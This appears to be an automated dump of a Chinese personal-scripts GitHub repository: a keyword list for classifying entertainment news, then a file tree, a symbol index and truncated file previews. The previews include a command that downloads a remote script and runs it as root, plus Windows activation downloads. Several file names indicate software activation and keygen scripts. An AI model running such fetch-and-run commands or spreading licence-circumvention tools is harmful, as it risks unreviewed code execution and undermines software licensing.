"火影",
"海贼王",
"哆啦A梦",
"迪士尼",
"造型",
"惊现",
"成就",
"工位",
"满满",
"元宇宙",
"幸福感",
"LOL",
"英雄联盟",
"军训",
"教官",
"警花",
"第二个",
"自己",
"回归",
"劳斯莱斯",
"雪花",
"太监",
"太",
"RAP",
"来了",
"来",
"Rap",
"rap",
"太顶",
"太顶了",
"秋瓷炫",
"日语",
"韩语",
"娘娘",
"意难平",
"有多少",
"老八",
"老弟",
"颜九",
"多少",
"墨香",
"铜臭",
"小白",
"原来",
"乳摇",
"方式",
"小黑",
"得是",
"阿哥",
"皇阿玛",
"皇帝",
"慈禧",
"涉港",
"转发",
"清欢",
"月薪",
"差别",
"西施",
"吸食",
"点赞",
"推文",
"文娱",
"推特",
"智商",
"美照",
"别墅",
"豪宅",
"亲密",
"小三",
"粤语",
"戳到",
"小狗",
"豪车",
"又美又飒",
"飒",
"嘉宾",
"朋友圈",
"梁静茹",
"邀请函",
"美胸",
"酥胸",
"停更",
"爆乳",
"美乳",
"销魂",
"催更",
"心理阴影",
"治愈",
"太子",
"罗云",
"终于",
"等到",
"贺岁",
"游艇",
"豪艇",
"红二代",
"富二代",
"军二代",
"吃到",
"谢娜",
"文胸",
"戚薇",
"陈小春",
"李佳琦",
"薛之谦",
"歌单",
"金智秀",
"麒麟",
"赵露思",
"炸裂",
"演技",
"大S",
"小S",
"那片",
"私人",
"定制",
"游轮",
"网友",
"萌娃",
"萌宠",
"解密",
"姑娘",
"太难了",
"啪啪",
"当家",
"尝试",
"偷穿",
"遇见",
"掌上明珠",
"长大",
"特色",
"撑伞",
"被打",
"露胸",
"梦中",
"小猫",
"云淡风轻",
"风起云涌",
"我的",
"妈呀",
"震惊",
"评价",
"做人",
"幼崽",
"港姐",
"本土",
"从何",
"缺席",
"带娃",
"超燃",
"哄骗",
"金晨",
"谁",
"日食",
"艺人",
"童星",
"小视频",
"短视频",
"编程",
"天不怕",
"地不怕",
"掀起",
"洗剪吹",
"托尼",
"太",
"萌了",
"游客",
"相约",
"圣地",
"遛娃",
"奇葩",
"打烊",
"走红",
"什么",
"爆红",
"爆火",
"不可",
"错过",
"剪寸头",
"作品",
"奔放",
"月食",
"金钟大",
"门牙",
"兄妹",
"穿越",
"不大",
"共赴",
"嘿嘿嘿",
"茶叶蛋",
"蛋",
"群星",
"新片",
"活久见",
"丝袜",
"美腿",
"每天吃",
"当年被",
"人家",
"如画",
"地上",
"老公",
"入伍",
"没在",
"原档",
"天王",
"明星",
"影星",
"啥意思",
"都爱吃",
"喊话",
"赵继伟",
"王心凌",
"孙红雷",
"挑战",
"进组",
"安全套",
"杜蕾斯",
"特效",
"裸体",
"昆剧",
"全裸",
"奶猫",
"御姐",
"妹控",
"弟控",
"奶狗",
"误区",
"亲手",
"康乃馨",
"吓坏",
"味道",
"妈宝",
"姐控",
"东北",
"足控",
"同性",
"两性",
"出轨",
"日晕",
"乳房",
"下九流",
"上错车",
"关注列表",
"白羊座",
"金牛座",
"双子座",
"巨蟹座",
"狮子座",
"处女座",
"天秤座",
"天蝎座",
"射手座",
"摩羯座",
"水瓶座",
"双鱼座",
"蔡天凤",
"潦草",
"发文",
"老婆",
"花海",
"哪儿",
"跑了",
"模特",
"美院",
"暗网",
"殿堂",
"出柜",
"大亨",
"嫩模",
"番外",
"遭罪",
"鹿晗",
"看上了",
"看上",
"空耳",
"鬼畜",
"建议",
"首席",
"低估",
"跑男",
"浪姐",
"下三滥",
"竟成",
"好莱坞",
"羞羞",
"全家",
"孩子",
"简历",
"大胆",
"探班",
"巨星",
"杂志",
"封面",
"甜",
"要继续吗",
"肛肠",
"先行曲",
"白夜追凶",
"偷拍",
"露脸",
"巨齿鲨",
"繁殖",
"三体",
"流浪地球",
"票房",
"我超",
"卧槽",
"我操",
"公映",
"首映",
"张婧仪",
"冯小刚",
"不如",
"张艺谋",
"葛优",
"舒淇",
"女优",
"演出",
"出演",
"恶搞",
"和尚",
"太极",
"咏春",
"少林",
"武当",
"张若昀",
"翻唱",
"赌王",
"拉斯维加斯",
"我爱",
"相声",
"小品",
"戏剧",
"贺岁片",
"悬疑",
"一闪",
"名模",
"抹胸",
"东野奎吾",
"村上村树",
"小说",
"改编",
"都敞开了",
"盛开",
"入选",
"剁手",
"打嗝",
"吃饱",
"购物车",
"疯狂星期四",
"疯四",
"灭蚊",
"蚊子",
"嗡嗡嗡",
"小强",
"新剧",
"星星",
"疯了",
"疯",
"送走",
"湿身",
"苏富比",
"官宣",
"大肠",
"杜甫",
"备胎",
"炮姐",
"超跑",
"哈欠",
"美甲",
"美脚",
"脚趾",
"手指",
"擦伤",
"蟑螂",
"汪涵",
"剪纸",
"小朋友",
"欢乐时光",
"恋爱史",
"黑历史",
"颜值",
"揩油",
"男粉",
"在线",
"女粉",
"咸猪手",
"掀裙底",
"凉凉",
"婚宴",
"萨摩耶",
"引关注",
"海澜之家",
"内娱",
"紧身",
"佳士得",
"超级",
"毒舌",
"特种兵",
"宣传家乡",
"大气层",
"断层",
"生气",
"潜力股",
"舔狗",
"性爱",
"搞上",
"舔脚",
"提鞋",
"控场",
"扶摔倒",
"被讹",
"获奖",
"诺贝尔",
"奥斯卡",
"金志文",
"金鸡奖",
"相逢",
"皮裤",
"维密",
"时装",
"顶流",
"百花",
"金马",
"穷游",
"吐槽",
"爆料",
"开房",
"圈子",
"圈",
"娱乐圈",
"巨奖",
"深思",
"为何",
"死磕",
"魅力",
"怼脸",
"黄子韬",
"吴谢宇",
"大腿",
"艾叶",
"艾草",
"金星",
"迪丽热巴",
"鞠婧祎",
"林允儿",
"周冬雨",
"陈飞宇",
"肖战",
"王一博",
"李现",
"吴亦凡",
"黄晓明",
"张艺兴",
"范冰冰",
"郑爽",
"许光汉",
"邓伦",
"赵本山",
"周立波",
"郭德纲",
"宋丹丹",
"岳云鹏",
"妖刀",
"贾静雯",
"贾玲",
"马丽",
"吴京",
"黄渤",
"林更新",
"肖村",
"天官",
"林志玲",
"周涛",
"何炅",
"李湘",
"毕福剑",
"丁磊",
"斗牛士",
"吴磊",
"张云雷",
"火箭少女101",
"TFBOYS",
"林俊杰",
"压轴",
"献唱",
"陈奕迅",
"邓紫棋",
"田馥甄",
"王菲",
"张靓颖",
"原唱",
"蔡徐坤",
"毛阿敏",
"蔡依林",
"许嵩",
"胡歌",
"陈坤",
"霍建华",
"彭于晏",
"杨洋",
"赵又廷",
"张翰",
"韩庚",
"汪峰",
"谢霆锋",
"李宇春",
"那英",
"李维嘉",
"陈赫",
"Angelababy",
"杨颖",
"唐嫣",
"之王",
"桃色",
"热巴",
"佟丽娅",
"蒋欣",
"乔振宇",
"SM",
"变性",
"药娘",
"断食",
"少年团",
"男团",
"高考",
"练习生",
"习惯",
"揭露",
"揪心",
"约炮",
"妙龄",
"心真大",
"毛孔",
"生图",
"修图",
"历年",
"最多",
"出场费",
"柴火",
"炕头",
"武士",
"漫画",
"封神",
"真实身份",
"打不赢",
"土招",
"赢得了什么",
"无法比拟",
"为啥我们爱",
"做爱",
"人渣",
"渣男",
"绿茶",
"外围",
"社会性死亡",
"曹云金",
"杀青",
"诉讼",
"青春",
"汤圆",
"忍者",
"动画",
"王俊凯",
"王源",
"圣诞节",
"平安夜",
"低胸",
"花絮",
"蹦极",
"我哭了",
"看哭了",
"哭",
"真的",
"会谢",
"笑了",
"奶凶",
"复刻",
"小猪",
"盖被",
"更新",
"写真",
"公主",
"影视化",
"广场舞",
"时代广场",
"主编",
"香奈儿",
"靓仔",
"友仔",
"靓女",
"靓妹",
"美妞",
"小妞",
"骚货",
"屌毛",
"睾丸",
"牛宝",
"羊宝",
"人宝",
"人肉",
"人鞭",
"猪鞭",
"羊鞭",
"牛鞭",
"妻管严",
"红娘",
"惊呆",
"有多萌",
"打底裤",
"退圈",
"史上",
"不忍心",
"单膝下跪",
"召集令",
"大秀",
"身段",
"尺度",
"应援",
"hold",
"曾称",
"贫乳",
"品如",
"流量",
"还珠",
"格格",
"人气",
"生子",
"希望小学",
"编剧",
"爬完",
"Hold",
"Carry",
"肚脐",
"肚腩",
"打嗝",
"carry",
"word",
"脱下",
"顶级",
"舞见",
"宅舞",
"呜啦",
"呜拉",
"欧拉",
"非酋",
"欧皇",
"欧气",
"欧啦",
"猫娘",
"野兽",
"兽娘",
"修仙",
"仙侠",
"奇侠",
"神剧",
"待播",
"结束前",
"平胸",
"罩杯",
"奶子",
"爱宠",
"爱狗",
"爱猫",
"姬",
"豆豆",
"引流",
"话题",
"柯洁",
"喵",
"结束后",
"生日派对",
"泳池派对",
"撩人",
"心动",
"心疼",
"叫春",
"大唱",
"群唱",
"共唱",
"独奏",
"萌",
"虐心",
"登记",
"红十字",
"道具",
"谷爱凌",
"女儿发声",
"劲爆",
"演戏",
"新意",
"摸头",
"早产",
"ORZ",
"郑恺",
"众人",
"生女",
"cp",
"2P",
"2B",
"剧照",
"北影",
"人妻",
"皮球",
"下厨",
"爱爱",
"亲昵",
"慈善",
"蟹",
"豪乳",
"戏服",
"瘦死",
"曲艺",
"戏曲",
"冯巩",
"曾经的",
"代言人",
"家庭群",
"家族群",
"格力",
"原班人马",
"那么",
"圆明园",
"当年有多火",
"剽窃",
"先导片",
"大胸",
"退团",
"转角",
"八卦",
"腊月",
"小年",
"顺产",
"汉服",
"成人",
"催婚",
"乳头",
"奶头",
"临时抱佛脚",
"不雅照",
"爸爸",
"妈妈",
"叒",
"细思",
"极恐",
"霉霉",
"港媒",
"吓人",
"多强",
"容祖儿",
"发行",
"巅峰",
"工作",
"聊天记录",
"大驾",
"腊八",
"普信",
"舌吻",
"成年",
"适合",
"合适",
"结婚",
"蒋雯丽",
"张波叶",
"罗志祥",
"排播",
"毛晓彤",
"厕纸",
"卫生纸",
"纸巾",
"毛巾",
"大兵",
"大便",
"便便",
"龄童",
"垃圾",
"吃屎",
"吃翔",
"恭贺",
"邪恶",
"沙溢",
"侯耀华",
"侯耀文",
"李金斗",
"张伟",
"主唱",
"蕾丝",
"餐巾",
"晚餐",
"午餐",
"巩俐",
"周迅",
"赵薇",
"林心如",
"吴耀汉",
"吴孟达",
"配角",
"主角",
"金庸",
"古龙",
"中元",
"春节",
"冰花",
"幼齿",
"梁羽生",
"黎明",
"张学友",
"郭富城",
"方文山",
"林夕",
"超女",
"周笔畅",
"韩红",
"张杰",
"张瀚",
"郭靖",
"徐克",
"黄蓉",
"西游记",
"三国",
"林黛玉",
"红楼梦",
"水浒",
"财神",
"臭屁",
"吴倩",
"张万森",
"浓眉",
"素颜",
"Ella",
"Lisa",
"Sa",
"不良人",
"李连杰",
"李小龙",
"周润发",
"姜文",
"葛优",
"陈佩斯",
"甄子丹",
"吴京",
"叶问",
"斗破",
"斗罗",
"拳皇",
"拳王",
"武僧",
"僧",
"董璇",
"董卿",
"方丈",
"道长",
"峨眉山",
"学生",
"五胎",
"八胎",
"六胎",
"过年",
"冰雕",
"响屁",
"嗝屁",
"同堂",
"高寿",
"百岁",
"长寿",
"告别",
"亲生",
"爷孙",
"忘年",
"老太",
"孙悟空",
"牛魔王",
"多人运动",
"差评",
"记得",
"好评",
"难听",
"难做",
"太难",
"容易",
"蚌埠",
"难受",
"蓝瘦",
"踩屎",
"鸟屎",
"吸屎",
"放屁",
"玄幻",
"春晚",
"饺子",
"融融",
"徒弟",
"出师",
"团圆",
"恭喜",
"新春",
"迎来",
gitextract_0nk8wkte/
├── .gitattributes
├── AQUICK/
│ ├── BCHEATS/
│ │ ├── CHEATS-ACT.md
│ │ ├── CHEATS-LINUX.md
│ │ ├── CHEATS-MAC.md
│ │ └── CHEATS-WIN.md
│ ├── BITRH/
│ │ └── Win10_Events_ID_useful.xlsx
│ ├── CLINUX/
│ │ ├── LINUXINTRO-0.md
│ │ ├── LINUXINTRO-1.md
│ │ ├── LINUXINTRO-2.md
│ │ ├── LINUXINTRO-3.md
│ │ ├── LINUXNANO-0.md
│ │ ├── LINUXNANO-1.md
│ │ ├── LINUXNANO-2.md
│ │ ├── LINUXNANO-3.md
│ │ ├── LINUXNANO-4.md
│ │ ├── LINUXNANO-5.md
│ │ ├── LINUXSWAP-0.md
│ │ ├── LINUXSWAP-1.md
│ │ ├── LINUXZERO-0.md
│ │ ├── LINUXZERO-1.md
│ │ ├── LINUXZERO-2.md
│ │ ├── LINUXZERO-3.md
│ │ └── LINUXZERO-4.md
│ ├── CPYTHON/
│ │ ├── pachong001.md
│ │ ├── pachong002.md
│ │ ├── pachong003.md
│ │ ├── pachong004.md
│ │ ├── pacong005.text
│ │ ├── pythonBshit001.md
│ │ └── readme.md
│ ├── CRuby/
│ │ └── readme.txt
│ ├── DTRASH/
│ │ ├── Dism++.md
│ │ ├── DriverBooster.md
│ │ ├── Windowsjxjbcg.md
│ │ ├── bossAPI.md
│ │ ├── choice_wdrt.md
│ │ ├── diss_windows_update.md
│ │ ├── emeditor.md
│ │ ├── exif_test_pic/
│ │ │ └── readme.txt
│ │ ├── mac_corn_diy_wallpaper.md
│ │ ├── regfinder.md
│ │ ├── xlgzgxwwpc.md
│ │ ├── zhihu.md
│ │ ├── zhihuapi.md
│ │ ├── zixfx.md
│ │ └── zzchinanewslc.md
│ ├── category_news.json
│ └── readme.md
├── Gemfile
├── PICGO.md
├── README.md
├── d-apple/
│ ├── no_ms_autoupdate.scpt
│ └── office2021.scpt
├── d-bat/
│ ├── add_env_path.bat
│ ├── auto_request.bat
│ ├── choice_wdrt.bat
│ ├── clean_icon_cache.bat
│ ├── clear_nullify_startup_reg.bat
│ ├── demo.bat
│ ├── deny_chrome_update.bat
│ ├── fix_0x11b_share_print.bat
│ ├── fuck_dingding.bat
│ ├── fxxk_chxxa.bat
│ ├── icon_bar_reset.bat
│ ├── ie_web_setting_demo.bat
│ ├── install_jdk.bat
│ ├── keep_ie.bat
│ ├── md5tools.bat
│ ├── mieba.bat
│ ├── nano_runas.bat
│ ├── oh_my_wifi.bat
│ ├── only_install_chrome65.bat
│ ├── re_update.bat
│ ├── reset_keep_ie.bat
│ ├── right-menu.bat
│ ├── saigonoie.bat
│ ├── seven_z_sensei.bat
│ ├── show_wifi.bat
│ ├── stop_update.bat
│ ├── unlockapp.bat
│ ├── webtools.bat
│ ├── weipe_showip.bat
│ ├── winrar_down_reg.bat
│ └── zhuang_ji_yuan.bat
├── d-bat-dc/
│ ├── readme.txt
│ ├── 从网络共享复制到本地,更新hosts.bat
│ ├── 定时关机.bat
│ └── 自动内外网识别与切换.bat
├── d-ipynb/
│ ├── “小粉红”群体分析.ipynb
│ ├── 亚文化视域评论及弹幕调研.ipynb
│ ├── 就业形势分析及预防欺诈对策.ipynb
│ ├── 平台兼容问题.ipynb
│ ├── 打印机自动化安装研究.ipynb
│ ├── 民生及时评类新闻基础分析.ipynb
│ ├── 读《“帝吧出征”事件中话语表达与社群动员研究》.ipynb
│ ├── 读《数字原住民网络潜水动因实证研究》.ipynb
│ └── 读《论马克思主义威望下降的原因》.ipynb
├── d-json/
│ ├── bosszhipin_citycode.json
│ ├── category_news.json
│ ├── category_news_demo.json
│ ├── dingyu_demo.json
│ ├── exam_zhipin_demo.json
│ ├── fenlei_pypt.json
│ └── thulac_wd_attr_cn.json
├── d-latex/
│ ├── figures/
│ │ └── readme.txt
│ └── latexdemo.tex
├── d-pwsh/
│ ├── add_env_path.ps1
│ ├── clac_ie_clearablelistdata_hex.ps1
│ ├── emeditor_random_keygen.ps1
│ ├── ez_auto_install.ps1
│ ├── ez_edit_net.ps1
│ ├── fail_idm.ps1
│ ├── frontline_helpdesk.ps1
│ ├── photoview.ps1
│ ├── win11_htp_active_lite.ps1
│ └── xchange_v8_active.ps1
├── d-pwsh-dc/
│ ├── NTFS权限基础上转换为共享权限.ps1
│ ├── readme.txt
│ ├── 个别组员加权限.ps1
│ ├── 修改共享文件夹名称不影响共享和安全权限.ps1
│ ├── 删除所有共享文件夹中的未知用户权限模板.ps1
│ ├── 删除未知用户共享文件夹权限模板.ps1
│ ├── 删除未知用户文件夹安全权限模板.ps1
│ ├── 删除根目录中所有文件夹中包含未知用户的安全权限模板.ps1
│ ├── 域用户导出.ps1
│ ├── 多个共享文件夹授权读写权限.ps1
│ ├── 恢复域用户模板.ps1
│ ├── 恢复组织单元模板.ps1
│ ├── 批量创建用户.ps1
│ ├── 批量删除用户.ps1
│ ├── 批量授权质检目录访问权限.ps1
│ ├── 批量特定授权.ps1
│ ├── 指定文件夹所有成员读写.ps1
│ ├── 指定文件夹所有成员读取.ps1
│ ├── 文件夹权限模板.ps1
│ ├── 查看用户在哪些共享文件夹有相关权限.ps1
│ ├── 根据成员名单及文件夹名单指定读写.ps1
│ ├── 根据文本内容批量添加相关权限.ps1
│ ├── 灵活加权限.ps1
│ ├── 生产作业1 读取、生产作业2 读写的批量操作.ps1
│ ├── 生成华三导入.ps1
│ ├── 移除权限模板.ps1
│ ├── 移除用户所有涉及到的共享文件夹权限.ps1
│ └── 组织单元成员迁移.ps1
├── d-python/
│ ├── PDFtoPNG.py
│ ├── autologin.py
│ ├── get_bing_wallpapers.py
│ ├── get_bv_baseinfo.py
│ ├── get_chinanews.py
│ ├── get_resou_today.py
│ ├── get_resou_today_s.py
│ ├── get_rumor_analysis.py
│ ├── get_worldometers.py
│ ├── mac_ntfs_ninja.py
│ ├── output_json_for_regex.py
│ ├── zhihu_answers_demo.py
│ └── zhipin_demo.py
├── d-python-datacom/
│ ├── readme.txt
│ ├── 交换机FTP服务器下载备份文件到本地.py
│ ├── 交换机缓冲区日志备份.py
│ ├── 单个交换机配置备份模板.py
│ ├── 批量上传交换机配置到本地FTP.py
│ ├── 批量交换机配置备份.py
│ └── 网络切换及状态标注.py
├── d-python-dc/
│ └── watermark/
│ ├── backup/
│ │ ├── screen_watermark_qt5.py
│ │ ├── screen_watermark_qt5_oblique_old.py
│ │ ├── screen_watermark_qt5_old.py
│ │ ├── screen_watermark_tkinter.py
│ │ └── screen_watermark_tkinter_old.py
│ ├── hostname_user_ip_date.py
│ ├── main.py
│ ├── readme.md
│ ├── requirements.txt
│ ├── screen_watermark_qt5.py
│ ├── screen_watermark_qt5_oblique.py
│ └── screen_watermark_tkinter.py
├── d-ruby/
│ ├── get_chinanews.rb
│ ├── get_msdesign_wallpapers.rb
│ ├── nbview.rb
│ └── ntfs_ripper.rb
├── d-shell/
│ ├── 7z_rar_sensei.sh
│ ├── diy_add_wheel.sh
│ ├── lite_ssh_n_ban.sh
│ ├── lite_vsftpd.sh
│ ├── low_scan_for_winrar.sh
│ ├── mac_corn_diy_wallpaper.sh
│ ├── mac_show_wifi.sh
│ ├── mac_systeminfo.sh
│ ├── no_oh_my_zsh.sh
│ ├── ntfs_ninja.sh
│ ├── simple_ban.sh
│ ├── simple_ssh.sh
│ ├── simple_vsftpd.sh
│ ├── simple_wheel.sh
│ ├── static_route.sh
│ ├── study_nmcil.sh
│ ├── study_nmcil2.sh
│ ├── used_proxychains.sh
│ └── webtools.sh
├── d-txt/
│ ├── cn_stopwords.txt
│ ├── rarpasswd.txt
│ └── requirements.txt
└── d-xlsx/
├── 2023-06-20基线检查报表.xlsx
├── 2023-06-26_B站视频基础信息调研.xlsx
├── SSH登记表.csv
├── chinanews_2023-5-3.xlsx
├── piyao_2023-06-17.xlsx
├── resoubang_2023-05-07.xlsx
├── resoubang_2023-05-15.xlsx
├── worldometers_2023-4-27.csv
├── worldometers_2023-4-29.xlsx
└── 交换机账号清单.csv
SYMBOL INDEX (130 symbols across 24 files)
FILE: d-python-datacom/交换机FTP服务器下载备份文件到本地.py
function download_from_ftp (line 10) | def download_from_ftp(name, ip, port, username, password):
function main (line 38) | def main():
FILE: d-python-datacom/网络切换及状态标注.py
function create_icon (line 21) | def create_icon(color):
function check_dhcp (line 39) | def check_dhcp():
function get_current_ip_config (line 60) | def get_current_ip_config():
function update_icon (line 83) | def update_icon(icon):
function switch_to_dhcp (line 100) | def switch_to_dhcp(icon, item):
function switch_to_fixed_static (line 106) | def switch_to_fixed_static(icon, item):
function switch_to_custom_static (line 113) | def switch_to_custom_static(icon, item):
function on_quit (line 161) | def on_quit(icon, item):
function create_tray_icon (line 164) | def create_tray_icon():
FILE: d-python-dc/watermark/backup/screen_watermark_qt5.py
class WatermarkWindow (line 30) | class WatermarkWindow(QWidget):
method __init__ (line 31) | def __init__(self, position, pady=100, padx=0, parent=None):
method paintEvent (line 77) | def paintEvent(self, event):
function create_windows (line 82) | def create_windows():
FILE: d-python-dc/watermark/backup/screen_watermark_qt5_oblique_old.py
class WatermarkWindow (line 30) | class WatermarkWindow(QWidget):
method __init__ (line 31) | def __init__(self, position, pady=0, padx=0, parent=None):
method paintEvent (line 44) | def paintEvent(self, event):
function create_windows (line 88) | def create_windows():
FILE: d-python-dc/watermark/backup/screen_watermark_qt5_old.py
class WatermarkWindow (line 29) | class WatermarkWindow(QWidget):
method __init__ (line 30) | def __init__(self, position, parent=None):
method paintEvent (line 67) | def paintEvent(self, event):
function create_windows (line 72) | def create_windows():
FILE: d-python-dc/watermark/backup/screen_watermark_tkinter.py
function setup_window (line 26) | def setup_window(root_window):
function create_watermark_windows (line 41) | def create_watermark_windows():
FILE: d-python-dc/watermark/backup/screen_watermark_tkinter_old.py
function setup_window (line 26) | def setup_window(root_window):
FILE: d-python-dc/watermark/hostname_user_ip_date.py
function get_current_date (line 9) | def get_current_date():
function get_hostname_username (line 17) | def get_hostname_username():
function get_wifi_ip (line 24) | def get_wifi_ip():
function get_ethernet_ip (line 37) | def get_ethernet_ip():
function get_preferred_ip (line 50) | def get_preferred_ip():
FILE: d-python-dc/watermark/main.py
function qt5_effect (line 9) | def qt5_effect():
function tkinter_effect (line 22) | def tkinter_effect():
function qt5_oblique_effect (line 35) | def qt5_oblique_effect():
FILE: d-python-dc/watermark/screen_watermark_qt5.py
class WatermarkWindow (line 33) | class WatermarkWindow(QWidget):
method __init__ (line 34) | def __init__(self, position, pady=100, padx=0, parent=None):
method paintEvent (line 80) | def paintEvent(self, event):
function create_windows (line 85) | def create_windows():
FILE: d-python-dc/watermark/screen_watermark_qt5_oblique.py
class WatermarkWindow (line 30) | class WatermarkWindow(QWidget):
method __init__ (line 31) | def __init__(self, position, pady=0, padx=0, parent=None):
method paintEvent (line 44) | def paintEvent(self, event):
function create_windows (line 93) | def create_windows():
FILE: d-python-dc/watermark/screen_watermark_tkinter.py
function setup_window (line 29) | def setup_window(root_window):
function create_watermark_windows (line 44) | def create_watermark_windows():
FILE: d-python/PDFtoPNG.py
function pdf_to_png (line 5) | def pdf_to_png(pdf_path, image_path):
function convert_to_png (line 19) | def convert_to_png(pdf_path, image_path):
FILE: d-python/get_bing_wallpapers.py
function download_image (line 6) | def download_image(image_url: str, save_dir: str):
function create_dir_if_not_exists (line 24) | def create_dir_if_not_exists(directory: str):
function main (line 33) | def main():
FILE: d-python/get_bv_baseinfo.py
class BilibiliAPI (line 71) | class BilibiliAPI:
method get_bv_json (line 74) | def get_bv_json(video_url):
method get_danmu_xml (line 82) | def get_danmu_xml(bv_json):
method get_comment_json (line 91) | def get_comment_json(bv_json):
method get_comment_json_to_webui (line 100) | def get_comment_json_to_webui(bv_json):
method get_user_card (line 137) | def get_user_card(mid, cookies):
class CRC32Checker (line 152) | class CRC32Checker:
method __init__ (line 164) | def __init__(self):
method create_table (line 167) | def create_table(self):
method crc32 (line 178) | def crc32(self, string):
method crc32_last_index (line 186) | def crc32_last_index(self, string):
method get_crc_index (line 194) | def get_crc_index(self, t):
method deep_check (line 201) | def deep_check(self, i, index):
method main (line 223) | def main(self, string):
class Tools (line 242) | class Tools:
method get_save (line 245) | def get_save():
method format_timestamp (line 251) | def format_timestamp(timestamp):
method calculate_sentiment_score (line 258) | def calculate_sentiment_score(text):
method get_word_cloud (line 265) | def get_word_cloud(sheet_name: str, workbook: Workbook):
method get_word_chart (line 304) | def get_word_chart(sheet_name: str, workbook):
method get_user_info_by_card (line 343) | def get_user_info_by_card(user_card_json):
class BilibiliExcel (line 360) | class BilibiliExcel:
method write_base_info (line 363) | def write_base_info(workbook, bv_json):
method write_danmu_info (line 386) | def write_danmu_info(workbook, danmu_xml):
method write_danmu_info_by_cookies (line 433) | def write_danmu_info_by_cookies(workbook, danmu_xml):
method jieba_danmu_frequency_statistics (line 515) | def jieba_danmu_frequency_statistics(workbook):
method write_comments_info (line 553) | def write_comments_info(workbook, bv_reply_json):
method write_comments_info_plus (line 599) | def write_comments_info_plus(workbook):
method jieba_comments_frequency_statistics (line 654) | def jieba_comments_frequency_statistics(workbook):
method save_workbook (line 690) | def save_workbook(workbook):
class Print_info (line 693) | class Print_info:
method base_message (line 696) | def base_message():
FILE: d-python/get_resou_today.py
function get_formatted_time (line 14) | def get_formatted_time():
function get_news_from_url (line 23) | def get_news_from_url(url: str):
function delete_empty_rows (line 45) | def delete_empty_rows(sheet_name: str, wb: Workbook):
function calculate_average_index_and_sentiment_score (line 60) | def calculate_average_index_and_sentiment_score(sheet_name: str, wb: Wor...
function calculate_word_count (line 88) | def calculate_word_count(sheet_names: list, wb: Workbook):
function write_category_to_sheet (line 150) | def write_category_to_sheet(sheet_name: str, wb: Workbook):
function write_news_to_sheet (line 194) | def write_news_to_sheet(news_list: list, sheet_name: str, wb: Workbook):
function main (line 234) | def main():
FILE: d-python/get_resou_today_s.py
function get_save_path_xlsx_file (line 17) | def get_save_path_xlsx_file():
function get_news_from_url (line 28) | def get_news_from_url(url: str):
function delete_empty_rows (line 50) | def delete_empty_rows(sheet_name: str, wb: Workbook):
function calculate_average_index_and_sentiment_score (line 65) | def calculate_average_index_and_sentiment_score(sheet_name: str, wb: Wor...
function calculate_word_count (line 93) | def calculate_word_count(sheet_names: list, wb: Workbook):
function write_category_to_sheet (line 155) | def write_category_to_sheet(sheet_name: str, wb: Workbook):
function write_news_to_sheet (line 199) | def write_news_to_sheet(news_list: list, sheet_name: str, wb: Workbook):
function fenmenbielei (line 239) | def fenmenbielei():
function add_special_pos_columns (line 272) | def add_special_pos_columns(sheet):
function load_stanza_to_sheet (line 300) | def load_stanza_to_sheet():
function main (line 319) | def main():
FILE: d-python/get_rumor_analysis.py
function category_of_title (line 22) | def category_of_title(title, category_keywords):
function get_element_data (line 36) | def get_element_data(element) -> dict:
function selenium_url_parse (line 81) | def selenium_url_parse(url):
function get_save_path_xlsx_file (line 124) | def get_save_path_xlsx_file():
function aphla (line 134) | def aphla()->str:
function baseinfo_write_to_excel (line 138) | def baseinfo_write_to_excel(rumor_contents) -> list:
function ciyu_tongji_fenxi (line 177) | def ciyu_tongji_fenxi():
function main (line 228) | def main():
FILE: d-python/mac_ntfs_ninja.py
function File_plus (line 56) | def File_plus():
FILE: d-python/zhihu_answers_demo.py
class Tools (line 7) | class Tools:
method init_res (line 10) | def init_res(zhihu_url):
method answer_url (line 26) | def answer_url(url, question_id):
method format_timestamp (line 35) | def format_timestamp(timestamp):
method get_save (line 42) | def get_save():
class ZhihuExcel (line 47) | class ZhihuExcel:
method init_info (line 51) | def init_info(workbook, res, question_id):
FILE: d-python/zhipin_demo.py
class GetDataTools (line 11) | class GetDataTools:
method get_citycode (line 13) | def get_citycode(input_city):
method validate_cookie (line 26) | def validate_cookie(input_cookie):
class ZhiPin (line 40) | class ZhiPin:
method get_job_list (line 42) | def get_job_list():
method save_to_json (line 73) | def save_to_json(job_data_list):
class DataToExcel (line 85) | class DataToExcel:
method save_to_excel (line 87) | def save_to_excel(workbook, zhipin_json):
FILE: d-ruby/get_msdesign_wallpapers.rb
function download_wallpapers (line 18) | def download_wallpapers()
function unzip_file (line 54) | def unzip_file(source, destination)
FILE: d-ruby/nbview.rb
type NbviewerGenerator (line 3) | module NbviewerGenerator
function generate_link (line 4) | def self.generate_link
function valid_github_url? (line 22) | def self.valid_github_url?(url)
FILE: d-ruby/ntfs_ripper.rb
function config_u_drive (line 1) | def config_u_drive
Condensed preview — 212 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (1,950K chars).
[
{
"path": ".gitattributes",
"chars": 86,
"preview": "*.json linguist-detectable=false\n*.scpt AppleScript\n*.ipynb linguist-detectable=false\n"
},
{
"path": "AQUICK/BCHEATS/CHEATS-ACT.md",
"chars": 1863,
"preview": "### 激活Windows\n\n一键切换Windows版本\n\n```\ncurl -O https://ghproxy.com/https://raw.githubusercontent.com/TerryHuangHD/Windows10-V"
},
{
"path": "AQUICK/BCHEATS/CHEATS-LINUX.md",
"chars": 156,
"preview": "## simple used Linux 🧪\n\n简单用ssh\n\n```\nsudo bash -c \"$(curl -fsSL \"https://ghproxy.com/https://github.com/hoochanlon/ihs-si"
},
{
"path": "AQUICK/BCHEATS/CHEATS-MAC.md",
"chars": 3780,
"preview": "# Mac指令速记即用\n\n`sudo -S`之后的操作可不用输密码;终端挂载不休眠`caffeinate`,以及安装` neofetch` 可查看系统资料。`tldr`比`man`更好用。\n\n\n### vim日常操作\n\n---\n* 显示行数"
},
{
"path": "AQUICK/BCHEATS/CHEATS-WIN.md",
"chars": 2354,
"preview": "### win11 home to pro\n\n升级了,但没激活。[代码出处 akbch/win11-home-to-pro](https://github.com/pakbch/win11-home-to-pro/blob/main/cod"
},
{
"path": "AQUICK/CLINUX/LINUXINTRO-0.md",
"chars": 2924,
"preview": "# 我的Linux入门之阿里云(免费版)初体验\n\n> 推荐Linux参考工具:[linux-command](https://wangchujiang.com/linux-command/)、[explainshell](https://w"
},
{
"path": "AQUICK/CLINUX/LINUXINTRO-1.md",
"chars": 3078,
"preview": "# 我的Linux入门之BAN IP的思索\n\n> 一篇用爱发电的落后于时代的Linux折腾记录笔记。推荐Linux参考工具:[linux-command](https://wangchujiang.com/linux-command/)、["
},
{
"path": "AQUICK/CLINUX/LINUXINTRO-2.md",
"chars": 1651,
